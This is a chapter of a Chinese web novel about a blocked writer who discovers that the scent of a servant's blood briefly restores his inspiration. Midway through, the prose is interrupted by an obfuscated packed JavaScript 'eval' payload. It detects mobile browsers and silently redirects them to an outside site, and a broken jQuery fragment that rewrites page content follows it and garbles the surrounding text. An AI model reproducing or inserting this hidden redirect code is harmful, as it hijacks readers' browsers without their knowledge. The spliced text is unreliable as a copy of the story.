身为一个作家，仲代卓也已经快两年没有写出什么好作品了。
他觉得自己像一口干枯的泉眼，里面再也不会涌出源源不断的灵感。这个认知折磨了他很久，直到现在。
包括那个大成协会奖的获奖作品《雪野原》，那是他两年前的作品，这两年他已经没有什么拿得出手的东西了。
一个作家失去了灵感，除非他在此时封笔才能免去嘲声。
仲代卓也不甘心，他家世优越，完全不需要靠写作来吃饭，这是他完全发自内心做出的选择。他曾经十分庆幸自己的热爱与天赋是同一件事，愿意为此付出一些，他没有结婚、没有生子，大部分精力都投入创作之中，可是现在……仲代卓也自嘲一笑。
这些事情仲代卓也没有和别人讲过，不知道该怎么和那些一直支持他的家人开口，尤其是那三个外甥，他们从小就崇拜自己，他不想从他们的眼中看到失望。
回到香川家的这个别墅，这趟旅程算是他给自己的一次疗愈之旅，正如姐姐所说，他不能再把自己关在家里了。
初到这里的感觉还不错，心情放松了一点。坐在书桌前，以前那些在这里奋笔疾书的记忆又回来了。
仲代卓也拿出随身携带的纸张，用裁纸刀讲它们裁成可以书写的大小。
他对写作时的用具很讲究，笔只用那一种进口品牌的，最常用的还是他放在身边从学生时代用起到现在已经十几年的钢笔。
至于纸嘛，他用的是本地工厂生产的一种，里面添加了桂花，不用漂白剂，所以纸张颜色泛黄又天然带着一种香气。
他最喜欢那种刚从机器里出来的大小，他会直接买回家然后再亲手裁成他常用的大小。
裁纸的过程中，美工刀划过纸张的声音和手感都会让他觉得享受，这是他每次写作前例行的活动。
现在他又在裁纸了，可是提起笔，面对一个字都没有的页面仲代卓也又觉得十分烦躁。
什么也写不出来，就算做着和两年前一样的事情、一样的习惯，但终究，灵感丢掉就是丢掉了。
仲代卓也心浮气躁地放下笔，用手用力把桌上的东西扫开，躺到了床上。
庆功宴会。
啊……真是讽刺啊，庆祝一个再也写不出作品的作家的庆功宴会。
仲代卓也捂住自己的眼睛，隔绝光线。
就在他快要睡着时，敲门响了起来，一个声音在门外响起来：“仲代先生，我是来给您送茶的。”
仲代卓也反应过来，以前他写作时常常会泡上一杯浓茶，这个习惯外甥们都知道，还真是贴心。
悠真端着茶盘走进房间，看见仲代卓也坐在床沿，而书桌上一片混乱，纸杂乱的堆在一起，还有几张掉在了地上。
“随便找个地方放吧，”仲代卓也说：“另外把我的桌子收拾一下。”
仲代卓也过惯了那种老一代人的少爷生活，吩咐起人来很顺口。
悠真嗯了一声，把茶盘放在一旁，先去收拾那堆杂乱的纸。
他以为那只是作家的一堆纸，不知道里面还夹杂了美工刀，一个不小心被藏在里面的锋利的美工刀割破手，啊了一声。
仲代卓也向他看过来：“怎么了？”
悠真：“没什么事。”
仲代卓也站起身：“手被刀划了吗？”
“嗯。”悠真说：“只是一个小伤口。”
确实是一个小伤口，但不算浅。滚圆的血珠从伤口处渗出，低落一滴在地面。
悠真没有注意到，忙着用另一只手放下纸：“仲代先生，我去处理一下伤口，我叫其他人来帮您收拾桌子吧。”
仲代卓也：“哦，快去……不过，这是什么香气？”
悠真愣了一下：“啊？您说的应该是茶香吧。”
不是茶香，仲代卓也很确信。
这股香气好像是瞬间就弥漫在了房间里，就在刚才，虽然他不确定具体是哪一刻开始的。
是什么东西……为什么闻到就会觉得……很幸福。
他浑身的血液都热了起来，好像又回到了曾经充满灵感与热情的时刻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972956|145868||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仲代卓也为这种香气着迷，转着圈在房间里寻常。
终于，他注意到了地面上的那一滴半干涸的血。
血红的，印在地面上，还有一点潮湿。
仲代蹲下身，那股香气果然变得又浓郁了一点，现在他确定，香气的来源就是这滴血了。
相比起“着迷”，用“着魔”这个词语可能更符合仲代卓也现在的状态。
对于这滴血液，他想的不是“刚才那个人受伤了啊”，反而是“就这么掉在地上好可惜”。
他拿起自己的钢笔，用笔尖触碰那滴地面上的粘稠，因为快要干掉的原因，笔尖只沾上了一点点红色的颜色。
瑰丽的红，天边朝霞上最精妙的一抹红，绯红之美，霞蔚云蒸。
这团香气好像进入了他的脑子，它们知道他想要什么词句。
仲代随手扯来一张纸，用沾着血液的笔在纸上狂热地书写着，凝固许久的脉络在这一刻无比畅通清晰，每一秒他都有更新更好的想法。
这些故事、这些辞藻，写下来的话一定会成为震惊文坛的传世著作。
可是，仅仅只是几分钟之后……他的灵感再次枯竭了。
房间里的味道彻底消散不见，地面上的血液凝固。
仲代卓也的美梦只做了这么几分钟。
比起灵感枯竭更可怕的是，再次拥有灵感又再次消失，这让一个天之骄子彻底不能接受。
“再试一次。”仲代卓也这么劝着自己。
他努力再提起笔，可是什么都没有。
那些灵感真的成为了稍纵即逝的一阵风，不肯再他的脑袋里多停留一段时间。
他抓着自己的头发感到痛苦万分。
刚才不是这样的……刚才他感受到的那个是什么，灵感？香气？那个走进他房间给他端茶的佣人？
他抬起头，看着纸上那些凌乱的字符，眼神里有一团迷雾慢慢加深，几乎覆盖了整个瞳孔。
再试一次。
仲代卓也在心里对自己这么说。